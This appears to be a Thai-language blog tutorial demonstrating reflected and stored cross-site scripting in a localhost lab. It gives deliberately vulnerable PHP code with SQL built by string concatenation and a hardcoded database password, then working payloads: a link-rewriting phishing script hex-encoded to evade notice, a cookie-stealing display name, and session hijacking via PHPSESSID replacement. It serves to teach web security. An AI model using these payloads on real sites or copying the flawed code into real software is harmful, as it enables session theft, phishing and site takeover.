    ส่วน XSS นั้น ก็คล้ายๆกัน แต่ แทนที่จะแทรก SQL Statement ก็ ใช้ JavaScript  แทน โดยช่องโหว่มาจากการเขียนโปรแกรมบน Web Server แต่จะส่งผลกระทบต่อ Web Browser เช่น ทำให้เกิดการ Download Malware, การถูกส่งข้อมูลส่วนตัวที่ผู้ใช้กรอกไปให้ Hacker หรือ Hacker สามารถขโมย Session ของ Admin ซึ่งเข้าใช้งาน Web Application ที่มีช่องโหว่นั้นๆได้เลยทีเดียว

    ลักษณะของ XSS [1] มี 2 แบบ

    1. แบบชั่วคราว (Non-Persistent XSS) : เมื่อ Hacker พบช่องโหว่บน Website ใด ก็จะใช้เป็นช่องทางแพร่ Malware/Virus ได้ หรือ ใช้ในการ redirect ผู้ใช้ผ่านไปยัง Phishing Website ได้ โดยใช้วิธีการแทรก JavaScript เข้าไป

    2. แบบฝังตัวถาวร (Persistent XSS) : ใช้ช่องโหว่ เพื่อเขียนข้อมูล ลงไปใน Database ซึ่ง อาจจะเป็นช่องทางในการ ขโมย Session ของ Admin ได้ โดยมักจะเกิดจาก Website ที่เปิดให้มีการสมัคร โดยไม่ตรวจสอบ หรือ ไม่มี Captcha  ทำให้ Hacker แฝงตัวเข้ามา และอาศัยช่องโหว่นี้ วางกับดัก “เผื่อ” Admin พลาดคลิกเข้า ก็อาจจะได้ Session ไป จนสามารถคุมทั้ง Website ได้ สามารถเข้ามาเป็น Admin ได้เลย

    ตัวอย่าง Non-Persistent XSS

    ถ้ามีการเขียน PHP เพื่อรับช้อมูลจากจากผู้ใช้ และ นำมาใช้งานเลย โดยไม่ตรวจสอบ ดังตัวอย่างนี้ (ชื่อ simple.php)

    <?php
    $name = $_GET['name'];
    echo "Welcome $name<br>";
    echo "<a href='http://xssattackexamples.com/'>Click to Download</a>";
    echo "</br>";
    echo "<a href='http://localhost/xss/testxss.html'>BACK</a>";
    ?>

     เช่น ใส่ค่าตัวแปร “name” เป็น “Firstname Lastname” จะได้ผลอย่างนี้

    http://localhost/xss/simple.php?name=Firstname Lastname

    จะเห็นได้ว่า จะได้ข้อความ Welcome Firstname Lastname ตามที่ใส่ในตัวแปร “name” นั่นเอง

    แต่ ถ้าใส่ JavaScript เข้าไป เพื่อให้แสดง Alert ดังนี้

    http://localhost/xss/simple.php?name=guest<script>alert("attacked")</script>

    ก็จะได้ผลดังนี้

    และ ถ้าใส่ JavaScript อีกแบบ ก็สามารถเปลี่ยน Link ที่ “Click to Download” จาก

    http://xssattackexamples.com/

    เป็น

    http://not-real-xssattackexamples.com/

     ด้วย URL ต่อไปนี้

    http://localhost/xss/simple.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

     ก็จะได้ผลดังนี้

    ซึ่ง ถ้าคลิกที่ “Click to Download” แทนที่จะไปยัง http://xssattackexamples.com/ ก็จะไปยัง http://not-real-xssattackexamples.com/  ซึ่งเป็น Phishing Site ได้เลยทีเดียว

    แต่โดยทั่วไปแล้ว Hacker จะไม่ใส่คำสั่งที่อ่านได้ง่ายๆลงไป โดยจะเปลี่ยน Code ดังกล่าวเป็นเลขฐาน 16 แทน ด้วยคำสั่งต่อไปนี้

    echo -n "<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>" | hexdump -v -e '/1 " %02.2x"' | sed -e 's/ /%/g'

    ผลที่ได้คือ

     %3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%61%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%68%74%74%70%3a%2f%2f%6e%6f%74%2d%72%65%61%6c%2d%78%73%73%61%74%74%61%63%6b%65%78%61%6d%70%6c%65%73%2e%63%6f%6d%2f%3b%7d%3c%2f%73%63%72%69%70%74%3e

     และ ใช้ URL ต่อไปนี้ เพื่อไม่ให้ผู้ใช้ และ Admin ตรวจสอบได้ง่าย

    http://localhost/xss/simple.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

    ตัวอย่าง Persistent XSS

    ถ้ามีการเขียน PHP ซึ่งประกอบไปด้วย login.php และ home.php โดยเก็บข้อมูลไว้ใน MySQL ใน Database ‘xss’ และตารางชื่อ ‘user’  ซึ่งมี ผู้ใช้ชื่อ admin เป็นผู้มีสิทธิ์สูงสุด สามารถเห็นรายละเอียดผู้ใช้อื่นๆได้ แต่ ถ้า Login ด้วยผู้ใช้ทั่วไป เช่น user01 ก็จะทำได้แค่ เปลี่ยน Display Name ของตัวเอง … และปัญหาอยู่ตรงที่ การเปิดให้ผู้ใช้ ใส่ Display Name ได้โดยไม่กรองข้อมูล ทำให้ Hacker สามารถ ฝัง JavaScript เข้ามาได้ ดังตัวอย่างต่อไปนี้ (Code ที่เห็น มาจาก [1] ซึ่งต่อกับฐานข้อมูล PostgreSQL ซึ่งผม ปรับเป็น MySQL)

     login.php มีหน้าตาอย่างนี้

    <?php
    if ($_POST[username] == "" ) {
    ?>
    <form method=POST action=login.php>
    <H1>Login</H1>
    Username : <input type=text name=username></br>
    Password : <input type=password name=password></br>
    <input type=submit value="Login"><input type=reset>
    </form>
    <?php
    } else {
    ?>
    <?php
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    //echo $sql;
    $query=mysql_query($sql);
    $result=mysql_fetch_array($query);
    /*
    if (!($result=mysql_fetch_array($query))) {
     echo "User/Password Failed";
     exit(0);
    } ;
    */
    $password = $_POST['password'];
    $username = $result['username'];
    if($password != $result['password']) {
    echo "Login failed";
    }
    else {
    # Start the session
    echo "$username:$password";
    session_start();
    $_SESSION['USER_NAME'] = $username;
    echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
    }
    ?>
    <?php
    } // End if of a form
    ?>

    และ home.php มีหน้าตาอย่างนี้

    <?php
    session_start();
    if(!$_SESSION['USER_NAME']) {
    echo "Need to login";
    }
    else {
    
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    
    $query=mysql_query($sql);
    
    $result=mysql_fetch_array($query);
    
    if($_SERVER['REQUEST_METHOD'] == "POST") {
     $sql2="update $table set display_name='".$_POST['disp_name']."' where username='".$_SESSION['USER_NAME']."';";
     $query=mysql_query($sql2);
     echo "Update Success";
    }
    else {
     if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
      echo "Welcome admin<br><hr>";
      echo "List of user's are<br>";
      $sql = "select display_name from $table where username!='admin'";
      $query= mysql_query($sql);
      while($result = mysql_fetch_array($query)) {
        echo "$result[display_name]<br>";
      }
    }
    else {
     echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
     echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
     echo "<input type=\"submit\" value=\"Update\">";
    }
    }
    }
    ?>
    </br>
    <a href=login.php>Go to Login</a></br>
    <a href=home.php>Go to Home</a></br>

    เมื่อ Admin ทำการ Login

    เมื่อใส่รหัสผ่าน ถูกต้อง จะส่งไปยัง home.php ซึ่งจะได้ผลอย่างนี้ สังเกตว่า ในหน้า Admin สามารถเห็นรายชื่อของผู้ใช้ทั้งหมดได้  หนึ่งในนั้นคือ user01

    ต่อ สมมุติ user01 เป็น Hacker เขาก็จะ Login อย่างนี้

    และที่หน้า home.php ของ user01 จะได้หน้าตาอย่างนี้

    ซึ่ง user01 จะสามารถ แก้ไข Display Name จาก “User01” เป็น

     <a href=# onclick=\"document.location=\'http://localhost/xss/xss.php?c=\'+escape\(document.cookie\)\;\">User01</a>

     และกดปุ่ม Update จะได้ผลดังนี้

    เพื่อให้ เมื่อ admin เข้ามาในหน้า home.php และเห็นชื่อของ User01 เป็น Link ดังนี้

    ถ้า admin เห็น และลองคลิกดู ก็จะทำให้ ส่งหมายเลข cookie ของ admin ไปยัง http://localhost/xss/xss.php โดยส่งผ่านตัวแปร c เพื่อเก็บข้อมูลเอาไว้ (แต่ในที่นี้ จะทำเป็นการแสดงผลออกมาแทน) ดังนี้

    ซึ่งจะพบว่า Cookie ID ของ admin ณ ขณะนั้นคือ iveovmj2eoghs02of2u7492k33

     สมมุติว่า Hacker ที่เฝ้าอยู่ พอรู้ว่า Admin คลิกแล้ว ก็จะเปิดหน้า home.php ซึ่งได้ผลอย่างนี้

     

    ใน Firefox จะมีเครื่องมือ คือ Web Developer Toolbar ซึ่งจะสามารถแก้ไขค่า Session ได้ โดยไปที่เมนู

     Tools > Web Developer > Developer Toolbar

    หรือกดปุด Shift-F2 ก็ได้

    จะปรากฏแถบสีดำ ด้านล่าง ให้ใส่คำสั่ง

    cookie list

    จะได้ผลอย่างนี้

     ต่อไป Hacker จะคลิกปุ่ม Edit เพื่อใส่ Cookie ID : iveovmj2eoghs02of2u7492k33 แทน k32vd7a6a44dpomo87i89vube6 ด้วยคำสั่งนี้

     cookie set PHPSESSID iveovmj2eoghs02of2u7492k33

    จากนั้นกดปุ่ม Enter เพื่อ สั่งเปลี่ยน Cookie ID และกดปุ่ม F5 เพื่อ Refresh หน้าจอ

    ผลที่ได้คือ Hacker สามารถ เข้าถึงหน้าจอของ Admin ได้ ดังนี้

    จากนั้น Hacker ก็จะสามารถ ทำงานทุกอย่างที่ Admin สามารถทำได้แล้วครับ

     ส่วนวิธีการตรวจสอบ และป้องกัน ขอติดไว้ก่อน จะมาเล่าให้ฟังต่อไป
    ลองอ่านพลางๆครับ

    https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
    https://www.acunetix.com/websitesecurity/xss/
    http://www.riyazwalikar.com/2010/06/multiple-joomla-xss-vulnerabilities-cve.html
    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    http://msdn.microsoft.com/en-us/library/aa973813.aspx

    ขอให้โชคดี

    Reference

    [1] Ramesh Natarajan. “XSS Attack Examples (Cross-Site Scripting Attacks) – The Geek Stuff.” 2012. 1 Jan. 2014 <http://www.thegeekstuff.com/2012/02/xss-attack-examples/>